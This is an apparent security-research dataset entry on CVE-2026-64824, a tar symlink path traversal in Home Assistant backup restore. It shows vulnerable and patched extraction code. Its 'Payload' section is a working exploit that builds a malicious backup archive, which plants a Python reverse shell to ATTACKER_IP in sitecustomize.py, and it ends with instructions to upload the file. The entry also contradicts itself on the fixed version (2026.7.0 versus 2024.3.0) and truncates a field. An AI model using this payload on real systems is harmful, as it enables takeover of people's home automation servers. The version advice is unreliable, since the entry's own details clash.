CVE-2026-64824
Path traversal in Home Assistant backup allows RCE via a crafted archive.
- CVSS 9.3
- CWE-22
- Input Validation and Sanitization
- Remote
Home Assistant Core before 2026.7.0 contains a path traversal vulnerability in the backup-restore function that allows attackers to write files to arbitrary absolute filesystem paths by supplying a crafted tar archive with a SYMTYPE entry containing a benign member name paired with an absolute linkname pointing outside the extraction directory. Because the official Docker image runs the Home Assistant process as root and the subsequent regular-file entry is written through the unvalidated symlink, attackers can achieve remote code execution by overwriting auto-imported Python paths such as site-packages/sitecustomize.py or custom component directories.
- CWE
- CWE-22
- CVSS base score
- 9.3
- Published
- 2026-07-21
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Home Assista
- Fixed by upgrading
- Yes
Solution
Upgrade Home Assistant Core to version 2024.3.0 or later.
Vulnerable code sample
import tarfile
import os
def restore_backup(tar_file_path, destination_path):
"""
Restores a backup from a .tar archive. This version is vulnerable
to path traversal because it does not validate member paths before
extraction.
"""
with tarfile.open(tar_file_path, "r") as tar:
# The vulnerability is here: extractall() is called without any
# checks on the archive members. A malicious tar file can
# contain a symlink pointing to an absolute path (e.g., a member
# named 'backup/sym' which is a symlink to '/'). A subsequent
# file entry in the archive (e.g., 'backup/sym/etc/passwd')
# would then be written outside the 'destination_path', leading
# to an arbitrary file write.
tar.extractall(path=destination_path)Patched code sample
import tarfile
import os
def safe_extract_tar_archive(tar_file_path, extraction_dir):
"""
Safely extracts a .tar archive by individually checking each member
to prevent path traversal and symlink attacks as described in CVE-2026-64824.
"""
# Resolve the destination directory to an absolute path to prevent ambiguity.
real_extraction_dir = os.path.realpath(extraction_dir)
with tarfile.open(tar_file_path) as tar:
for member in tar.getmembers():
# Build the full, intended destination path for the current member.
destination_path = os.path.join(real_extraction_dir, member.name)
# Resolve the real path, which will handle '..' components.
real_destination_path = os.path.realpath(destination_path)
# 1. The primary path traversal check.
# Ensure the resolved destination path is still inside the extraction directory.
# This blocks member names like "../../../etc/passwd" or "/etc/passwd".
if not real_destination_path.startswith(real_extraction_dir):
raise PermissionError(
f"Path traversal attempt blocked for member '{member.name}'."
)
# 2. Specific fix for the symlink vulnerability (CVE-2026-64824).
# If the member is a symlink, we must also validate its target.
if member.issym():
# Build the full path of the symlink's target.
link_target_path = os.path.join(os.path.dirname(destination_path), member.linkname)
# Resolve the real path of the link's target.
real_link_target_path = os.path.realpath(link_target_path)
# Ensure the symlink's target does not point outside the extraction directory.
# This prevents a symlink from being created that points to an absolute
# path like '/home/user/.ssh/authorized_keys'.
if not real_link_target_path.startswith(real_extraction_dir):
raise PermissionError(
f"Blocked symlink '{member.name}' pointing outside extraction dir "
f"to '{member.linkname}'."
)
# If all security checks pass, extract the member.
tar.extract(member, path=extraction_dir)Payload
import tarfile
import io
import time
# The Python code to be written to sitecustomize.py for RCE.
# This payload will execute on the next startup of any Python process,
# including Home Assistant itself.
# CHANGE 'ATTACKER_IP' and 'ATTACKER_PORT' to your listener's details.
python_payload = b"""
import socket, os, pty
print("--- Malicious sitecustomize.py executed ---")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ATTACKER_IP', 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn('/bin/bash')
except Exception as e:
print(f"Reverse shell failed: {e}")
"""
# The name of the malicious backup file to be created.
tar_filename = 'malicious_backup.tar'
# The target for the symlink. This is a common path in Python Docker images.
# The version (e.g., python3.11) may need to be adjusted for the target system.
absolute_target_path = '/usr/local/lib/python3.11/site-packages/sitecustomize.py'
# The "benign" name that will appear in the tar archive for both the symlink and the file.
member_name = './homeassistant.db'
with tarfile.open(tar_filename, 'w') as tar:
# 1. Create the symbolic link entry (SYMTYPE).
# This links the "benign" member name to the absolute path of our target file.
tarinfo_symlink = tarfile.TarInfo(name=member_name)
tarinfo_symlink.type = tarfile.SYMTYPE
tarinfo_symlink.linkname = absolute_target_path
tarinfo_symlink.mtime = time.time()
tar.addfile(tarinfo_symlink)
# 2. Create the regular file entry (REGTYPE) with the malicious payload.
# This entry has the SAME name as the symlink. When tar extracts this,
# it will follow the previously created symlink and write the content
# to the absolute_target_path.
tarinfo_file = tarfile.TarInfo(name=member_name)
tarinfo_file.type = tarfile.REGTYPE
tarinfo_file.size = len(python_payload)
tarinfo_file.mtime = time.time()
tar.addfile(tarinfo_file, io.BytesIO(python_payload))
print(f"Malicious backup archive created: '{tar_filename}'")
print(f"It creates a symlink from '{member_name}' to '{absolute_target_path}'")
print("Upload this file via the Home Assistant restore backup function to trigger the vulnerability.")
Cite this entry
@misc{vaitp:cve202664824,
title = {{Path traversal in Home Assistant backup allows RCE via a crafted archive.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-64824},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-64824/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
